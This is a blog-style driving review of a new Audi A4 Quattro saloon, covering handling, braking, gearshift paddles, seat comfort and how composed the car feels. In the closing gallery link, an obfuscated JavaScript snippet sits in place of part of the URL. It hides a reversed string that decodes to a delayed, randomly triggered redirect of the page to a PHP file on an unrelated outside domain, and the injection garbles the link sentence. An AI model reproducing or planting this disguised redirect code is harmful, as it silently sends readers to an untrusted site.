New Audi A4. Through The Paces

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Nothing. The tyres stick and the Audi stays planted, the rear end refusing to budge (the ‘Quattro’ name that so prominently adorns the saloon’s paperwork means getting the rear out just ain’t gonna happen). There’s good weight distribution, and a low centre of gravity ensures there’s little bodyroll even as I open the throttle up. The corner straightens out, but I’m denied fourth gear by the approach of another right-hander – sharp this time – which leads to another flick of the fingers on my left hand. Downshifts are just as responsive as up, solid engine braking pushing us forward into the inertia seatbelts. Even despite the shift in momentum, there’s more than enough heft to the steering to keep the front wheels in check, a good balance between weight and playfulness encouraging me to push a little harder.

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A little further down the hill, a blind left-hander catches me out, and my foot instinctively leaps for the brake. The response is good: not enough to send me through the windscreen but enough to make sure I scatter neither the car nor myself across the desert landscape. My heart rate is a bit elevated, but the Audi doesn’t appear to have broken sweat. The moment has seen me leap for the lower gears again. Unfortunately the plastic feel of the paddles is a little disappointing when compared to the fine Nappa leather upholstery.

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Saying that, fine leather upholstery comes at a price, and not just because the Quattro edition package is an optional extra. No doubt the Comfort Sport seats has held both Phill and I well throughout the meandering stretches of tarmac, but the pseudo-bucket feel to them means there’s more sport than comfort involved. Give or take an hour or two, and the small of your back may start to stiffen up, which might make you question long-distance journeys in this particular mid-size saloon.

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And that gets me thinking as we start to make my way back up the hill. Despite the luxury-infused interior and driver assist systems (excluding the infotainment system, the controls for which feel very counter-intuitive), the overriding feel for the A4 is one of dynamism, all of which comes a little too…easily.

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That shouldn’t be a bad thing, and certainly isn’t in a ‘look how far we’ve come’ kind of sense. But the idea that this saloon – a road legal model – can be thrown at the landscape without the fear of it letting go is a little disappointing: part of the adrenaline rush – from my perspective at least – comes from knowing that a small mistake on the winding tarmac could see you pitched into the landscape at any moment. The Audi feels so composed that ‘the limit’ stays out of reach, and does make me wonder exactly how much input I have as a driver behind the wheel. In that way, the A4 feels a little alienating, despite the stellar performance.

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Don’t get me wrong though. When it comes time for Phill’s turn, “just one more run” isn’t too far from my lips.

– Be sure to check out $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/audi-a4/” target=”_blank”>our full gallery HERE.